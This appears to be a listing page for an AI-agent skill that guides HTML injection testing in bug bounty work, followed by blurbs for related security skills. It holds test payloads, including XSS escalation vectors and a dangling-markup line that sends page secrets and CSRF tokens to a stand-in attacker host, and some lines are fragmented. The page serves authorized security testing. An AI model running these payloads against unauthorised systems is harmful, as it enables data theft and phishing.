Test whether user input becomes HTML markup in pages or notification emails instead of appearing as plain text. Use distinctive test markers to document reflected or stored injection, assess visible effects, and distinguish HTML injection from JavaScript execution.
中文简介正在准备中。当前显示英语简介。
Hunt HTML Injection — user-supplied input is rendered as raw HTML in the response without sanitisation, allowing an attacker to inject arbitrary HTML tags (but not necessarily JavaScript). Lower severity than XSS but enables phishing, UI manipulation, and credential harvesting via injected forms. Use when testing text-display surfaces (search results, profile fields, comments, error messages, feedback forms). For markup that executes JavaScript, escalate to hunt-xss.
安装前可以查看交给 AI 代理的指令内容。
HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting <b>, <h1>, <a>, <img>, or <form> tags is sufficient.
To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary — e.g. "><img src=x onerror=alert(91234)> or <svg onload=alert(91234)>. A distinctive 4+ digit number (not alert(1)) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.
Impact:
<form> or <a href="attacker.com"> tags<h1>HACKED</h1> renders visually on the page<meta http-equiv="refresh"><script> but not <img onerror>)<script> and event handlers filtered, an unterminated tag can capture page content that follows it. Inject <img src='//attacker.tld/log?html= (no closing quote/>); the browser treats everything up to the next ' as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw < is reflected.<a>/<img>/dangling markup in the recipient's inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: https://hackerone.com/reports/1935628, https://hackerone.com/reports/3556892.Any input that is reflected or stored and then displayed in an HTML context:
?q=)?error=, ?message=)Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.
Pattern 1 — Basic HTML tag injection:
<b>CANARY</b>
"><b>CANARY</b>
Use a unique string as CANARY (something distinct to this test run). Proof: the response contains <b>CANARY with literal < angle brackets — not <b>CANARY. A properly encoded app would escape < to <.
Try multiple tag types when <b> is filtered:
<h1>CANARY</h1> — heading tag (often less filtered)<img src=x onerror=CANARY> — attribute context<a href="https://attacker.com">click</a> — link injection (phishing proof)For stored injection: inject into the storage endpoint, then GET the page where the value is displayed and check for unescaped tags.
Escalate immediately: if <b> injection works, try <script>alert(1)</script> — the same unsanitised input may allow full XSS.
Confirmed when your injected tag appears in the response body with literal < angle brackets (not HTML-encoded). A safe app renders <b>CANARY</b>; a vulnerable app renders <b>CANARY</b>.
<b>text</b> renders as text in the browser — no JS execution needed.<script>alert(1)</script> executes JavaScript.Some WAFs block <script> but pass <b> or <img> — start with non-script tags, then escalate.
还没有评价。欢迎分享你的使用感受。
无需登录即可发表。欢迎分享使用感受、提问，或说明在哪些环境下无法运行。
还没有评论。来写第一条吧。
Inspect Android apps for embedded credentials, internal API addresses, and components exposed to other apps. The skill guides APK acquisition, code inspection, and runtime traffic analysis to support a mobile security assessment.
中文简介正在准备中。当前显示英语简介。
Guide bug bounty work from asset discovery to validation and reporting, while resolving local locations of security tools, wordlists, and cloned projects. It covers web and AI security testing with an emphasis on demonstrated impact.
中文简介正在准备中。当前显示英语简介。
Organize a bug bounty investigation from reconnaissance through reporting. The skill helps choose a focused objective, identify the current phase, select relevant techniques and tools, and distinguish reproducible security impact from misleading test results.
中文简介正在准备中。当前显示英语简介。
Guide bug bounty work from checking authorized scope and discovering assets to testing web and AI features. Validate practical impact, investigate related weaknesses, and organize reproducible evidence into a vulnerability report.
中文简介正在准备中。当前显示英语简介。
Prepare Bugcrowd submissions with accurate vulnerability categories, evidence-based severity requests, and explanations of program scope. Structure references between related reports, document QA testing conditions, and draft responses when a finding is downgraded or considered out of scope.
中文简介正在准备中。当前显示英语简介。
Assess what discovered cloud credentials allow across AWS, Azure, GCP, and Kubernetes. The skill guides identity checks, permission review, and paths to higher privileges, then helps document impact, activity, and cleanup within the engagement's agreed scope.
中文简介正在准备中。当前显示英语简介。